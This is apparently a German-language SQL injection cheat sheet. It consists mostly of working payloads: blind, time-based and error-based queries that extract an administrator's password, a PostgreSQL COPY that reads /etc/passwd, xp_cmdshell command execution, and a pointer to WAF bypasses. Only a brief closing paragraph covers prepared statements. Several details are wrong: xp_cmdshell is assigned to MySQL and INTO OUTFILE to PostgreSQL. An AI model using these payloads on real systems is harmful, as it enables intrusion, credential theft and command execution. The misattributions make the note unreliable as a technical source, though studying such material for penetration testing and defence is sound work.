SQL Injection
Tools
SQLMap Cheat Sheet
https://swisskyrepo.github.io/PayloadsAllTheThings/SQL%20Injection/SQLmap
Bei der Nutzung von SQLMap müssen noch weitere Dinge beachtet werden.
So sind beispielsweise einige Flags nur in dem SQLMap Wiki oder bei Aufruf von -hh und nicht in der Hilfe verfügbar.
Verschiedene Payloads funktionieren nur mit bestimmten Techniken.
- B Boolean-based blind
- E Error-based
- U Union query-based
- S Stacked queries
- T Time-based blind
- Q Inline queries Nutzt spezielle SQL-Konstrukte, die in bestimmten Datenbanksystemen möglich sind, um Daten direkt in die Antwort einzubetten. (Seltene Verwendung und nur für spezifische DBMS)
| Aspekt | Boolean-based Blind | Time-based Blind |
|---|---|---|
| Funktionsweise | Nutzt unterschiede in den Antworten | Verwendet künstlich erzeugte Verzögerungen (z.B. sleep()) |
| Geschwindigkeit | Schneller da keine Wartezeiten nötig sind. | Langsamer, da jede Anfrage eine festgelegte Verzögerung erfordert |
| Anwendungsfall | Wenn die Anwendung Unterschiede bei True & False Antworten zeigt | Wenn die Applikationen keine sichtbaren Unterschiede bei Antworten zeigt. |
| Payload Beispiel | AND 1=1 und AND 1=2 |
; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE NULL END-- |
| Aspekt | Union-based | Stacked Queries |
|---|---|---|
| Funktionsweise | Fügt UNION ALL SELECT-Statements hinzu, um Daten in bestehende Queries einzubinden |
Fügt zusätzliche SQL-Statements nach einem Semikolon ein. |
| Vorraussetzung | Erfordert die Anzeige der Ergebnisse der SQL Anfrage | Erfordert die Unterstützung von Stacked Queries |
| Nutzung | Zum Auslesen von Daten (SELECT) | Für beliebige SQL-Operationen (z.B. DROP TABLE, COPY-Befehle) |
Fuktionen und Datenbanken
| Funktion | MySQL | PostgreSQL | Microsoft SQL |
|---|---|---|---|
| Download/Upload | |||
| Command execution and retrieval | |||
| out-of-band stateful TCP connection |
Optimierungen
In SQLmap gibt es einige Optionen zum optimieren der abfragen.
Dabei können alle Optimierungen mit -o eingeschaltet werden.
Dabei ist auch die Option, die bei Nutzung von -o automatisch aktiviert wird --predict-output sehr interessant.
Diese versucht basierend auf der Datei txt/common.txt die Ausgaben zu erraten.
Dies ist sehr nützlich für Blind SQL Angriffe, da es diese verkürzen kann.
Daneben gibt es noch die ähnlichen Dump Funktionen:
- --common-tables
- --common-columns
- --common-files
Erkennen von SQL Schwachstellen:
Mithilfe von Fehlermeldungen ist es möglich SQL Fehler zu erkennen.
- Nutzung einfacher Zeichen:
',",;,)und* - Nutzung enkodeter Zeichen:
%27,%22,%23,%3B,%29und%2A - Mehrfache Enkodierung:
%%2727,%25%27 - Unicode Zeichen:
U+02BA,U+02B9 - MODIFIER LETTER DOUBLE PRIME ( U+02BAcodiert als %CA%BA) wird U+0022QUOTATION MARK
- MODIFIER LETTER PRIME ( U+02B9codiert als %CA%B9) wird U+0027APOSTROPHE (')
- Boolean Konditionen wie
OR 1=1oderOR 1=2 - Zeit verzögerungen
- OAST Payloads, welche Netzwerkinteraktionen auslösen
- Zusammenfügen mehrer Strings
`+HERP'||'DERP'+'herp' 'DERP'%20'HERP'%2B'HERP
Polyglot SQL
Polyglot SQL Payloads sind so designt, dass sie in verschiedenen Kontexten laufen.
Sie werden dabei je nach Kontext unterschiedlich ausgewertet.
Doch sind sie so designt, dass sie diese unterschiedliche Auswertung überstehen und genutzt werden können.
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Einsatz in verschiedenen Kontexten
Direkter SQL-Kontext: Der erste SLEEP(1) wird ausgeführt, während der Rest als Kommentar behandelt wird.
SELECT * FROM users WHERE id = SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Kontext mit einfachen Anführungszeichen: Der Payload schließt das Anführungszeichen und führt dann den SLEEP-Befehl aus.
SELECT * FROM users WHERE username = 'SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Kontext mit doppelten Anführungszeichen: Ähnlich, aber in einem Kontext mit doppelten Anführungszeichen.
SELECT * FROM users WHERE username = "SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Routed Injection
Bei der routed Injection ergibt sich aus der ersten SQL Abfrage eine zweite.
Dabei wird im ersten Schritt der Hex Wert dekodiert und dann genutzt.
' union select 0x2720756e696f6e2073656c65637420312c3223#
Auftreten von SQL Schwachstellen:
- In dem
UPDATEstatement, in dem zu updatenden Wert oder in dem Where statement. - In dem
INSERTstatement, in dem einzufügenden statement - In dem
SELECTstatement, in dem Tabellen oder zeilen Namen - In dem
SELECTstatement, in dem Order by statement
Datenbank informationen
SELECT TABLE_NAME FROM information_schema.tables auflisten der Datenbanken
SELECT TABLE_NAME,COLUMN_NAME,DATA_TYPE FROM information_schema.columns WHERE table_name = '<name>'
Für Oracle ist es anders:
SELECT owner,table_name FROM all_tables
SELECT owner,column_name FROM all_tab_columns WHERE table_name = 'USERS'
Version der Datenbank
SELECT @@version # Microsoft, MySQL
SELECT banner FROM v$version # Oracle
SELECT version() # PostgreSQL
Union Attacks
Bei Union Attacken, werden zwei SQL Anfragen miteinander verkettet, dafür muss aber die Anzahl der Argumente übereinstimmen.
Dafür kann man die Anzahl der Argumente variieren oder mit ORDER BY <number> die Anzahl der Argumente herausfinden.
Für Oracle muss eine Tabelle angegeben werden, um diesen Angriff auszuführen: UNION SELECT NULL FROM DUAL --
Blind SQL
Es ist möglich allein basierend auf der Rückgabe von True/False Werten Daten zu bestimmen mit dem folgenden Befehl:
' AND (SELECT 'a' FROM Users WHERE username = 'administrator' AND LENGTH(password) > 2") = 'a # Get Length
' AND (SELECT SUBSTRING(password,1, 1) from users where username='administrator')='a
'|| (SELECT CASE WHEN (username='administrator' and substring(password, 1, 1) > 'm') THEN pg_sleep(10) ELSE pg_sleep(0) END from users) ||'
Blind SQL mit zeitverzögerung
Eine Zeitverzögerung kann auf Microsoft SQL wie folgt erreicht werden:
'; IF (1=1) WAITFOR DELAY '0:0:10'--
'||pg_sleep(10)--
Blind SQL With out-of-bands(OAST)
Es kann sein, dass eine Anfrage asynchron ausgeführt wird, also der Request weiter ausgeführt wird. Dann funktioniert die Sql Attackke mit zeitverzögerung nicht mehr. Dann ist es hilfreich Netzwerkinteraktionen auszuführen. Am besten klappt dies mit DNS, da dies für den Produktiv einsatz wichtig ist.
SQL with Conditional Error
Falls es einen Unterschied bei der Response gibt, je nachdem, ob das SQL gültig oder ungültig ist kann der folgende Ausdruck benutzt werden. Dies ist nützlich, wenn es keinen Unterschied gibt zwischen korekten SQL Anfragen.
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
'||(SELECT ''from users where rownum = 1)||'
'||(SELECT CASE WHEN (substr(password, 1, 1) > 'm') THEN TO_CHAR(1/0) ELSE 'a' end from users where username = 'administrator')||'
Informationsextraktion durch sql Fehler Nachrichten
Um Mithilfe von SQL Fehlernachrichten Informationen zu extrahieren, kann der folgende Code genutzt werden:
' AND CAST((SELECT password from users LIMIT 1) AS int)--
mehrere Reihen in einer
Sollen mehrere Reihen in einer angezeigt werden kann für Oracle die folgende Syntax genutzt werden:
' UNION SELECT username || '~' || password FROM users--
|| sind zum konkatenieren von Strings.
Second-Order SQL Injections :worker: WIP
Eine SQL Injection wird ausgeführt und für die zukunft gespeichert. Das wird zumeist dadurch erreicht, dass eine SQL Schwachstelle gespeichert aber nicht ausgenutzt wird. Später mit einer anderen Anfrage wird diese SQL Injection dann ausgeführt. Diese Attacke kann dadurch entstehen, dass ein Schutzmechanismus eingebaut wird, an der Stelle, wo Usereingaben möglich sind, aber dieser Schutz nicht an anderen Stellen ebenfalls verwendet wird, wo diese Eingaben interpretiert werden.
Erkennung und Beispiel
Um diese Schwachstelle zu erkennen, kann wieder ein ' benutzt werden beispielsweise bei einem Login wird der user hacker' erstellt, nun wird sich mit dem User eingeloggt.
Erscheint nun ein Fehler liegt wahrscheinlich eine Second Order SQL Schwachstelle vor.
Um diese Schwachstelle nun auszunutzen kann nun der folgende User angelegt werden: ' or 'asd' = 'asd.
https://infosecwriteups.com/the-wrath-of-second-order-sql-injection-c9338a51c6d
Dateien lesen und schreiben
Der folgende Code erstellt eine Datenbank, schreibt die /etc/passwd rein und liest den Wert dann für postgres:
create table tmp(data text);
copy tmp from '/etc/passwd';
select * from tmp;
pg_read_file() Funktion. Bei Mysql gibt es die LOAD_FILE() Funktion. Allerdings kann es bei Mysql sein, dass die Variable secure_file_priv gesetzt ist und den Zugriff auf Daten einschränkt. Dafür kann die Variable mit SELECT @@GLOBAL.secure_file_priv; abgefragt werden.
Um Daten in Postgres zu schreiben kann die folgende Abfrage benutzt werden:
SELECT * FROM USERS INTO OUTFILE <FILE>
Code ausführen
Mit der folgenden Abfrage ist es unter Mysql möglich Code auszuführen, sofern diese Funktion explizit aktiviert wurde oder die nötigen Rechte vorliegen um diese zu aktivieren:
EXECUTE xp_cmdshell '<COMMAND>';
EXECUTE sp_configure 'show advanced options',1; RECONFIGURE;
```"
# Nützliche SQL Kommandos
Mehrere Werte konkatenieren:
```sql
group_concat() #Mysql
String_AGG()# sql server und postgre
LISTAGG() # Oracle
WAF Bypass
https://swisskyrepo.github.io/PayloadsAllTheThings/SQL%20Injection/#generic-waf-bypass
Spezifische Datenbankangriffe
Verteidigung
Mit den sogenannten 'prepared Statements' ist es möglich SQL Anfragen vorzubereiten, dadurch kann kein SQL Code eingeschleust werden. Sollen trotzdem weitere SQL Anweisungen ausführbar sein, so müssen diese gewithelisted werden oder eine andere Logik muss benutzt werden.